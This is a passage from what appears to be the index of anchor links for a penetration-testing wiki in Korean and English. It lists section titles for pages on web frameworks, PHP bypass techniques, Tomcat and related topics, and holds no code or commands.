s","network-services-pentesting/pentesting-web/nextjs.html#file-based-routing-in-the-app-directory","network-services-pentesting/pentesting-web/nextjs.html#잠재적인-클라이언트-측-취약점","network-services-pentesting/pentesting-web/nextjs.html#nextjs의-서버-측","network-services-pentesting/pentesting-web/nextjs.html#서버-측-렌더링-ssr","network-services-pentesting/pentesting-web/nextjs.html#static-site-generation-ssg","network-services-pentesting/pentesting-web/nextjs.html#serverless-functions-api-routes","network-services-pentesting/pentesting-web/nextjs.html#pages-디렉토리의-api-경로-nextjs-12-및-이전-버전","network-services-pentesting/pentesting-web/nextjs.html#cors-구성","network-services-pentesting/pentesting-web/nextjs.html#클라이언트-측의-서버-코드-노출","network-services-pentesting/pentesting-web/nextjs.html#주요-파일-및-역할","network-services-pentesting/pentesting-web/nextjs.html#middlewarets--middlewarejs","network-services-pentesting/pentesting-web/nextjs.html#nextconfigjs","network-services-pentesting/pentesting-web/nextjs.html#pages_appjs-및-pages_documentjs","network-services-pentesting/pentesting-web/nextjs.html#custom-server-optional","network-services-pentesting/pentesting-web/nextjs.html#추가-아키텍처-및-보안-고려사항","network-services-pentesting/pentesting-web/nextjs.html#환경-변수-및-구성","network-services-pentesting/pentesting-web/nextjs.html#인증-및-권한-부여","network-services-pentesting/pentesting-web/nextjs.html#성능-최적화","network-services-pentesting/pentesting-web/nginx.html#nginx","network-services-pentesting/pentesting-web/nginx.html#missing-root-location","network-services-pentesting/pentesting-web/nginx.html#alias-lfi-misconfiguration","network-services-pentesting/pentesting-web/nginx.html#unsafe-path-restriction","network-services-pentesting/pentesting-web/nginx.html#안전하지-않은-변수-사용--http-요청-분할","network-services-pentesting/pentesting-web/nginx.html#any-variable","network-services-pentesting/pentesting-web/nginx.html#uriargs-변수를-사용한-try_files","network-services-pentesting/pentesting-web/nginx.html#원시-백엔드-응답-읽기","network-services-pentesting/pentesting-web/nginx.html#merge_slashes를-off로-설정","network-services-pentesting/pentesting-web/nginx.html#maclicious-response-headers","network-services-pentesting/pentesting-web/nginx.html#map-directive의-기본값","network-services-pentesting/pentesting-web/nginx.html#dns-스푸핑-취약점","network-services-pentesting/pentesting-web/nginx.html#proxy_pass-및-internal-지시어","network-services-pentesting/pentesting-web/nginx.html#proxy_set_header-upgrade--connection","network-services-pentesting/pentesting-web/nginx.html#직접-해보세요","network-services-pentesting/pentesting-web/nginx.html#정적-분석-도구","network-services-pentesting/pentesting-web/nginx.html#gixy","network-services-pentesting/pentesting-web/nginx.html#nginxpwner","network-services-pentesting/pentesting-web/nginx.html#참고자료","network-services-pentesting/pentesting-web/nodejs-express.html#nodejs-express","network-services-pentesting/pentesting-web/nodejs-express.html#쿠키-서명","network-services-pentesting/pentesting-web/nodejs-express.html#특정-이름의-단일-쿠키","network-services-pentesting/pentesting-web/nodejs-express.html#사용자-정의-단어-목록","network-services-pentesting/pentesting-web/nodejs-express.html#배치-모드를-사용하여-여러-쿠키-테스트하기","network-services-pentesting/pentesting-web/nodejs-express.html#사용자-정의-단어-목록을-사용하여-배치-모드로-여러-쿠키-테스트하기","network-services-pentesting/pentesting-web/nodejs-express.html#새로운-쿠키-인코딩-및-서명","network-services-pentesting/pentesting-web/sitecore/index.html#sitecore-experience-platform-xp--사전-인증-html-cache-poisoning에서-포스트-인증-rce까지","network-services-pentesting/pentesting-web/sitecore/index.html#사전-인증-프리미티브-xaml-ajax-reflection--htmlcache-write","network-services-pentesting/pentesting-web/sitecore/index.html#poc-요청-cve-2025-53693","network-services-pentesting/pentesting-web/sitecore/index.html#오염시킬-대상-cache-key-construction","network-services-pentesting/pentesting-web/sitecore/index.html#캐시-가능한-항목-및-vary-by-차원-열거","network-services-pentesting/pentesting-web/sitecore/index.html#sidechannel-enumeration-under-restricted-identities-cve-2025-53694","network-services-pentesting/pentesting-web/sitecore/index.html#postauth-rce-binaryformatter-sink-in-converttoruntimehtml-cve-2025-53691","network-services-pentesting/pentesting-web/sitecore/index.html#전체-체인","network-services-pentesting/pentesting-web/sitecore/index.html#탐지","network-services-pentesting/pentesting-web/sitecore/index.html#하드닝","network-services-pentesting/pentesting-web/sitecore/index.html#참고자료","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-tricks","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#쿠키의-일반적인-위치","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-비교-우회","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#느슨한-비교타입-조작---","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#in_array","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#strcmpstrcasecmp","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#엄격한-타입-조작","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#preg_match","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-난독화를-위한-타입-조작","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#execute-after-redirect-ear","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#경로-탐색-및-파일-포함-취약점","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#더-많은-트릭","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#password_hashpassword_verify","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#http-headers-bypass-abusing-php-errors","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-함수에서의-ssrf","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#코드-실행","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#preg_replace를-통한---rce","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#eval을-통한-rce","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#assert를-통한-rce","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#usort를-통한-rce","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#rce-via-httaccess","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#rce-via-env-variables","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#xampp-cgi-rce---cve-2024-4577","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-sanitization-bypass--brain-fuck","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-정적-분석","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-코드-디오브퓨스케이션","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#php-래퍼-및-프로토콜","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#xdebug-인증되지-않은-rce","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#변수-변수","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#rce-abusing-new-_geta_getb","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#execute-php-without-letters","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#using-octal","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#xor","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#xor-쉬운-셸-코드","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#xor-shellcode-inside-eval","network-services-pentesting/pentesting-web/php-tricks-esp/index.html#perl과-유사한","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#php---유용한-함수-및-disable_functionsopen_basedir-우회","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#php-명령-및-코드-실행","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#php-명령-실행","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#php-코드-실행","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#disable_functions--open_basedir","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#open_basedir-bypass","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#glob-우회로-디렉토리-나열하기","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#full-open_basedir-bypass-abusing-fastcgi","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#disable_functions-우회","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#자동-우회-발견","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#다른-시스템-함수를-사용한-우회","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#ld_preload-우회","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#우회-php-기능-사용","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#모듈버전-의존적-우회","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#자동-도구","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#기타-흥미로운-php-함수","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#콜백을-허용하는-함수-목록","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#정보-노출","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#기타","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/index.html#filesystem-functions","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#disable_functions-bypass---php-fpmfastcgi","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#php-fpm","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#하지만-cgi와-fastcgi는-무엇인가요","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#cgi","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#fastcgi","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#disable_functions-bypass","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#via-gopherus","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#php-익스플로잇","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#fuckfastgci","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.html#php-fpm-원격-코드-실행-취약점-cve-201911043","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.html#공격자가-취한-단계","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.html#사용자-정의-확장을-컴파일하기-위한-주의사항","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.html#사용자-정의-확장-파일","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.html#확장-빌드","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.html#피해자-호스트에-업로드-및-실행","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.html#명령-실행","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.html#disable_functions-우회---php-70-74-nix-전용","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.html#php-70-74-nix-전용","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.html#imagick--54---disable_functions--bypass","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.html#왜-작동할까요","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.html#2025-상태--여전히--관련--있음","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.html#현대-페이로드-변형","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.html#빠른-탐지-및-열거","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.html#완화-조치","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.html#참조","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.html#php-5x-shellshock-exploit","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.2.4-ioncube-extension-exploit.html#php-524-ioncube-확장-취약점","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.html#php--529-on-windows","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.html#php-524-및-525-php-curl","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-safe_mode-bypass-via-proc_open-and-custom-environment-exploit.html#php-safe_mode-우회-proc_open-및-사용자-정의-환경-exploit","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.html#php-perl-확장-safe_mode-우회-익스플로잇","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.html#php-523---win32std-ext-보호-우회","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-5.2-fopen-exploit.html#php-52---fopen-exploit","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.html#via-mem","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.html#mod_cgi","network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.html#php-4--420-php-5-pcntl_exec","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#php---rce를-악용한-객체-생성-new-_get-a","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#소개","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#커스텀-클래스-또는-autoloading을-통한-rce","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#rce-via-내장-클래스","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#ssrf--phar-deserialization","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#exploiting-pdos","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#soapclientsimplexmlelement-xxe","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#rce-via-imagick-extension","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#vid-parser","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#php-crash--brute-force","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#format-string-in-class-name-resolution-php-700-bug-71105","network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.html#references","network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.html#php-ssrf","network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.html#ssrf-php-함수","network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.html#wordpress-ssrf-via-dns-rebinding","network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.html#crlf","network-services-pentesting/pentesting-web/prestashop.html#prestashop","network-services-pentesting/pentesting-web/prestashop.html#from-xss-to-rce","network-services-pentesting/pentesting-web/python.html#python","network-services-pentesting/pentesting-web/python.html#python을-사용하는-서버","network-services-pentesting/pentesting-web/python.html#tricks","network-services-pentesting/pentesting-web/rocket-chat.html#로켓-챗","network-services-pentesting/pentesting-web/rocket-chat.html#rce","network-services-pentesting/pentesting-web/ruby-tricks.html#ruby-트릭","network-services-pentesting/pentesting-web/ruby-tricks.html#파일-업로드로-rce","network-services-pentesting/pentesting-web/ruby-tricks.html#active-storage-image-transformation--command-execution-cve-2025-24293","network-services-pentesting/pentesting-web/ruby-tricks.html#rackstatic-lfi--path-traversal-cve-2025-27610","network-services-pentesting/pentesting-web/ruby-tricks.html#forgingdecrypting-rails-cookies-when-secret_key_base-is-leaked","network-services-pentesting/pentesting-web/ruby-tricks.html#see-also-rubyrails-specific-vulns","network-services-pentesting/pentesting-web/ruby-tricks.html#references","network-services-pentesting/pentesting-web/code-review-tools.html#소스-코드-검토--sast-도구","network-services-pentesting/pentesting-web/code-review-tools.html#가이드라인-및-도구-목록","network-services-pentesting/pentesting-web/code-review-tools.html#다국어-도구","network-services-pentesting/pentesting-web/code-review-tools.html#naxus---ai-gents","network-services-pentesting/pentesting-web/code-review-tools.html#semgrep","network-services-pentesting/pentesting-web/code-review-tools.html#sonarqube","network-services-pentesting/pentesting-web/code-review-tools.html#codeql","network-services-pentesting/pentesting-web/code-review-tools.html#snyk","network-services-pentesting/pentesting-web/code-review-tools.html#insider","network-services-pentesting/pentesting-web/code-review-tools.html#deepsource","network-services-pentesting/pentesting-web/code-review-tools.html#nodejs","network-services-pentesting/pentesting-web/code-review-tools.html#electron","network-services-pentesting/pentesting-web/code-review-tools.html#python","network-services-pentesting/pentesting-web/code-review-tools.html#net","network-services-pentesting/pentesting-web/code-review-tools.html#rust","network-services-pentesting/pentesting-web/code-review-tools.html#자바","network-services-pentesting/pentesting-web/code-review-tools.html#이동","network-services-pentesting/pentesting-web/code-review-tools.html#php","network-services-pentesting/pentesting-web/code-review-tools.html#wordpress-plugins","network-services-pentesting/pentesting-web/code-review-tools.html#solidity","network-services-pentesting/pentesting-web/code-review-tools.html#javascript","network-services-pentesting/pentesting-web/code-review-tools.html#discovery","network-services-pentesting/pentesting-web/code-review-tools.html#static-analysis","network-services-pentesting/pentesting-web/special-http-headers.html#특수-http-헤더","network-services-pentesting/pentesting-web/special-http-headers.html#단어-목록--도구","network-services-pentesting/pentesting-web/special-http-headers.html#위치를-변경할-헤더","network-services-pentesting/pentesting-web/special-http-headers.html#hop-by-hop-헤더","network-services-pentesting/pentesting-web/special-http-headers.html#http-request-smuggling","network-services-pentesting/pentesting-web/special-http-headers.html#expect-헤더","network-services-pentesting/pentesting-web/special-http-headers.html#캐시-헤더","network-services-pentesting/pentesting-web/special-http-headers.html#조건부-요청","network-services-pentesting/pentesting-web/special-http-headers.html#range-요청","network-services-pentesting/pentesting-web/special-http-headers.html#메시지-본문-정보","network-services-pentesting/pentesting-web/special-http-headers.html#서버-정보","network-services-pentesting/pentesting-web/special-http-headers.html#제어","network-services-pentesting/pentesting-web/special-http-headers.html#다운로드","network-services-pentesting/pentesting-web/special-http-headers.html#보안-헤더","network-services-pentesting/pentesting-web/special-http-headers.html#콘텐츠-보안-정책-csp","network-services-pentesting/pentesting-web/special-http-headers.html#trusted-types","network-services-pentesting/pentesting-web/special-http-headers.html#x-content-type-options","network-services-pentesting/pentesting-web/special-http-headers.html#x-frame-options","network-services-pentesting/pentesting-web/special-http-headers.html#cross-origin-resource-policy-corp-및-cross-origin-resource-sharing-cors","network-services-pentesting/pentesting-web/special-http-headers.html#교차-출처-임베더-정책-coep-및-교차-출처-오퍼너-정책-coop","network-services-pentesting/pentesting-web/special-http-headers.html#http-strict-transport-security-hsts","network-services-pentesting/pentesting-web/special-http-headers.html#헤더-이름-대소문자-우회","network-services-pentesting/pentesting-web/special-http-headers.html#우회-악용","network-services-pentesting/pentesting-web/special-http-headers.html#예시-apache-camel-exec-rce-cve-2025-27636","network-services-pentesting/pentesting-web/special-http-headers.html#탐지-및-완화","network-services-pentesting/pentesting-web/special-http-headers.html#참고-자료","network-services-pentesting/pentesting-web/spring-actuators.html#spring-actuators","network-services-pentesting/pentesting-web/spring-actuators.html#spring-auth-bypass","network-services-pentesting/pentesting-web/spring-actuators.html#exploiting-spring-boot-actuators","network-services-pentesting/pentesting-web/spring-actuators.html#핵심-요점","network-services-pentesting/pentesting-web/spring-actuators.html#공격-기법","network-services-pentesting/pentesting-web/spring-actuators.html#추가-정보","network-services-pentesting/pentesting-web/spring-actuators.html#관련-주제","network-services-pentesting/pentesting-web/spring-actuators.html#heapdump-secrets-mining-credentials-tokens-internal-urls","network-services-pentesting/pentesting-web/spring-actuators.html#abusing-actuator-loggerslogging-to-capture-credentials","network-services-pentesting/pentesting-web/spring-actuators.html#references","network-services-pentesting/pentesting-web/symphony.html#symfony","network-services-pentesting/pentesting-web/symphony.html#recon--enumeration","network-services-pentesting/pentesting-web/symphony.html#finger-printing","network-services-pentesting/pentesting-web/symphony.html#interesting-files--endpoints","network-services-pentesting/pentesting-web/symphony.html#high-impact-vulnerabilities-2023-2025","network-services-pentesting/pentesting-web/symphony.html#1-app_secret-유출--rce-via-_fragment-일명-secret-fragment","network-services-pentesting/pentesting-web/symphony.html#2-windows-process-hijack--cve-2024-51736","network-services-pentesting/pentesting-web/symphony.html#3-session-fixation--cve-2023-46733","network-services-pentesting/pentesting-web/symphony.html#4-twig-sandbox-xss--cve-2023-46734","network-services-pentesting/pentesting-web/symphony.html#5-symfony-1-가젯-체인-여전히-레거시-앱에서-발견됨","network-services-pentesting/pentesting-web/symphony.html#exploitation-cheat-sheet","network-services-pentesting/pentesting-web/symphony.html#calculate-hmac-token-for-_fragment","network-services-pentesting/pentesting-web/symphony.html#약한-app_secret에-대한-무차별-대입-공격","network-services-pentesting/pentesting-web/symphony.html#rce-via-exposed-symfony-console","network-services-pentesting/pentesting-web/symphony.html#방어-노트","network-services-pentesting/pentesting-web/symphony.html#유용한-공격-도구","network-services-pentesting/pentesting-web/symphony.html#참조","network-services-pentesting/pentesting-web/tomcat/index.html#tomcat","network-services-pentesting/pentesting-web/tomcat/index.html#discovery","network-services-pentesting/pentesting-web/tomcat/index.html#enumeration","network-services-pentesting/pentesting-web/tomcat/index.html#버전-식별","network-services-pentesting/pentesting-web/tomcat/index.html#매니저-파일-위치","network-services-pentesting/pentesting-web/tomcat/index.html#사용자-이름-열거","network-services-pentesting/pentesting-web/tomcat/index.html#기본-자격-증명","network-services-pentesting/pentesting-web/tomcat/index.html#무차별-대입-공격","network-services-pentesting/pentesting-web/tomcat/index.html#common-vulnerabilities","network-services-pentesting/pentesting-web/tomcat/index.html#password-backtrace-disclosure","network-services-pentesting/pentesting-web/tomcat/index.html#double-url-encoding","network-services-pentesting/pentesting-web/tomcat/index.html#examples","network-services-pentesting/pentesting-web/tomcat/index.html#path-traversal-exploit","network-services-pentesting/pentesting-web/tomcat/index.html#rce","network-services-pentesting/pentesting-web/tomcat/index.html#limitations","network-services-pentesting/pentesting-web/tomcat/index.html#메타스플로잇","network-services-pentesting/pentesting-web/tomcat/index.html#msfvenom-reverse-shell","network-services-pentesting/pentesting-web/tomcat/index.html#tomcatwardeployerpy-를-이용한-바인드-및-리버스-셸","network-services-pentesting/pentesting-web/tomcat/index.html#using--culsterd","network-services-pentesting/pentesting-web/tomcat/index.html#수동-방법---웹-셸","network-services-pentesting/pentesting-web/tomcat/index.html#manual-method-2","network-services-pentesting/pentesting-web/tomcat/index.html#post","network-services-pentesting/pentesting-web/tomcat/index.html#다른-톰캣-스캐닝-도구","network-services-pentesting/pentesting-web/tomcat/index.html#참고문헌","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#uncovering-cloudflare","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#common-techniques-to-uncover-cloudflare","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#tools-to-uncover-cloudflare","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#cloud-인프라에서-cloudflare-드러내기","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#클라우드플레어-우회하기","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#인증된-오리진-풀","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#허용-목록-cloudflare-ip-주소","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#스크래핑을-위한-cloudflare-우회","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#캐시","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#도구","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#cloudflare-솔버","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#강화된-헤드리스-브라우저","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#cloudflare-내장-우회-기능이-있는-스마트-프록시","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#cloudflare-안티봇-보호-리버스-엔지니어링","network-services-pentesting/pentesting-web/uncovering-cloudflare.html#참고-문헌","network-services-pentesting/pentesting-web/vuejs.html#vuejs","network-services-pentesting/pentesting-web/vuejs.html#vuejs의-xss-싱크","network-services-pentesting/pentesting-web/vuejs.html#v-html-지시어","network-services-pentesting/pentesting-web/vuejs.html#v-bind-with-src-or-href","network-services-pentesting/pentesting-web/vuejs.html#v-on-사용자-제어-핸들러와-함께","network-services-pentesting/pentesting-web/vuejs.html#동적-속성--이벤트-이름","network-services-pentesting/pentesting-web/vuejs.html#동적-컴포넌트-","network-services-pentesting/pentesting-web/vuejs.html#ssr에서-신뢰할-수-없는-템플릿","network-services-pentesting/pentesting-web/vuejs.html#filters--render-functions-that-eval","network-services-pentesting/pentesting-web/vuejs.html#vue-프로젝트의-다른-일반적인-취약점","network-services-pentesting/pentesting-web/vuejs.html#플러그인에서의-프로토타입-오염","network-services-pentesting/pentesting-web/vuejs.html#open-redirects-with-vue-router","network-services-pentesting/pentesting-web/vuejs.html#csrf-in-axios--fetch","network-services-pentesting/pentesting-web/vuejs.html#click-jacking","network-services-pentesting/pentesting-web/vuejs.html#content-security-policy-pitfalls","network-services-pentesting/pentesting-web/vuejs.html#supply-chain-attacks-node-ipc--march-2022","network-services-pentesting/pentesting-web/vuejs.html#하드닝-체크리스트","network-services-pentesting/pentesting-web/vuejs.html#참고문헌","network-services-pentesting/pentesting-web/vmware-esx-vcenter....html#열거","network-services-pentesting/pentesting-web/vmware-esx-vcenter....html#브루트포스","network-services-pentesting/pentesting-web/web-api-pentesting.html#웹-api-침투-테스트","network-services-pentesting/pentesting-web/web-api-pentesting.html#api-침투-테스트-방법론-요약","network-services-pentesting/pentesting-web/web-api-pentesting.html#api-유형-이해하기","network-services-pentesting/pentesting-web/web-api-pentesting.html#실습-실험실","network-services-pentesting/pentesting-web/web-api-pentesting.html#api-침투-테스트를-위한-효과적인-요령","network-services-pentesting/pentesting-web/web-api-pentesting.html#api-침투-테스트를-위한-도구-및-리소스","network-services-pentesting/pentesting-web/web-api-pentesting.html#학습-및-연습-자료","network-services-pentesting/pentesting-web/web-api-pentesting.html#references","network-services-pentesting/pentesting-web/put-method-webdav.html#webdav","network-services-pentesting/pentesting-web/put-method-webdav.html#davtest","network-services-pentesting/pentesting-web/put-method-webdav.html#cadaver","network-services-pentesting/pentesting-web/put-method-webdav.html#put-요청","network-services-pentesting/pentesting-web/put-method-webdav.html#move-요청","network-services-pentesting/pentesting-web/put-method-webdav.html#iis56-webdav-취약점","network-services-pentesting/pentesting-web/put-method-webdav.html#자격-증명-후","network-services-pentesting/pentesting-web/put-method-webdav.html#references","network-services-pentesting/pentesting-web/werkzeug